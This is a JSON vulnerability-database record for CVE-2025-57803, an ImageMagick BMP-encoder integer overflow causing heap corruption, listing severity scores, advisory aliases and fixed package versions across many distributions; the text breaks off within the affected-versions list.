{"id":"CVE-2025-57803","aliases":["ALPINE-CVE-2025-57803","CLSA-2025-1758195721","CLSA-2025-1759856402","CLSA-2025-1760019012","CLSA-2025-1760023801","CLSA-2026-1776170814","CLSA-2026-1776171379","CLSA-2026-1776171616","CLSA-2026-1776178825","DEBIAN-CVE-2025-57803","DLA-4297-1","DSA-5997-1","EUVD-2025-25837","GHSA-mxvv-97wh-cfmm","JLSEC-2026-925","OESA-2025-2193","OESA-2025-2194","OESA-2025-2196","OESA-2025-2197","OESA-2025-2198","OESA-2025-2247","RHSA-2025:16313","ROOT-OS-DEBIAN-12-CVE-2025-57803","ROOT-OS-DEBIAN-13-CVE-2025-57803","SUSE-SU-2025:03113-1","SUSE-SU-2025:03150-1","SUSE-SU-2025:03151-1","SUSE-SU-2025:03152-1","SUSE-SU-2025:03164-1","SUSE-SU-2025:21211-1","UBUNTU-CVE-2025-57803","USN-7812-1","openSUSE-SU-2025:15498-1","openSUSE-SU-2025:20162-1"],"status":"published","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00908,"percentile":0.60368,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-122","CWE-190"],"published":"2025-08-26T16:07:27Z","modified":"2026-11-03T06:33:00Z","fixes":[{"ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q16-x86","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Magick.NET-Q8-x86","fixed_in":["14.8.1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"imagemagick","fixed_in":["7.1.2.8-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"imagemagick","fixed_in":["7.1.2.8-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-common","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-doc","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16hdri","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-common","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-doc","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16hdri-perl","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-8","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-8","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6-extra","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6-extra","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6-headers","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-6","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-dev","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:20.04","package":"perlmagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-common","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-doc","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16hdri","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-common","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-doc","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16hdri-perl","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-7","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-7","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3-extra","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3-extra","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6-headers","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-3","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-dev","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"perlmagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-6.q16","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-common","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-doc","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-perl","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-q16-perl","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-5v5","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-arch-config","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2-extra","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6-headers","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-2","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-dev","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:16.04","package":"perlmagick","fixed_in":["8:6.8.9.9-7ubuntu5.17+tuxcare.els28"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-c++","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-c++-devel","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-devel","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-djvu","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-doc","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-libs","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-perl","fixed_in":["6.9.13.25-1.el8_4.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-c++","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-c++-devel","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-devel","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-djvu","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-doc","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-libs","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-perl","fixed_in":["6.9.13.25-1.el8_5.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-c++","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-c++-devel","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-devel","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-djvu","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-doc","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-libs","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-perl","fixed_in":["6.9.13.25-1.el8.tuxcare.els11"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"imagemagick","fixed_in":["8:6.9.11.60+dfsg-1.6+deb12u4"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"imagemagick","fixed_in":["8:7.1.1.43+dfsg1-1+deb13u2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"imagemagick","fixed_in":["8:7.1.2.3+dfsg1-1"],"sources":["osv"]},{"ecosystem":"Julia","package":"ImageMagick_jll","fixed_in":["7.1.2004+0"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-debuginfo","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-perl","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-c++-devel","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-devel","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_els:7","package":"ImageMagick-doc","fixed_in":["0:6.9.10.68-9.el7_9"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"imagemagick","fixed_in":["8:6.7.7.10-6ubuntu3.13+esm15"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"imagemagick","fixed_in":["8:6.8.9.9-7ubuntu5.16+esm14"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"imagemagick","fixed_in":["8:6.9.7.4+dfsg-16ubuntu6.15+esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"imagemagick","fixed_in":["8:6.9.10.23+dfsg-2.1ubuntu11.11+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"imagemagick","fixed_in":["8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"imagemagick","fixed_in":["8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-HDRI-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q16-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q8-AnyCPU","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Magick.NET-Q8-x86","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.8.1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-0"},{"fixed":"7.1.2.8-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-0"},{"fixed":"7.1.2.8-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:CentOS:7","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.10.68-7.el7_9.tuxcare.els5"}]}],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-perl","ran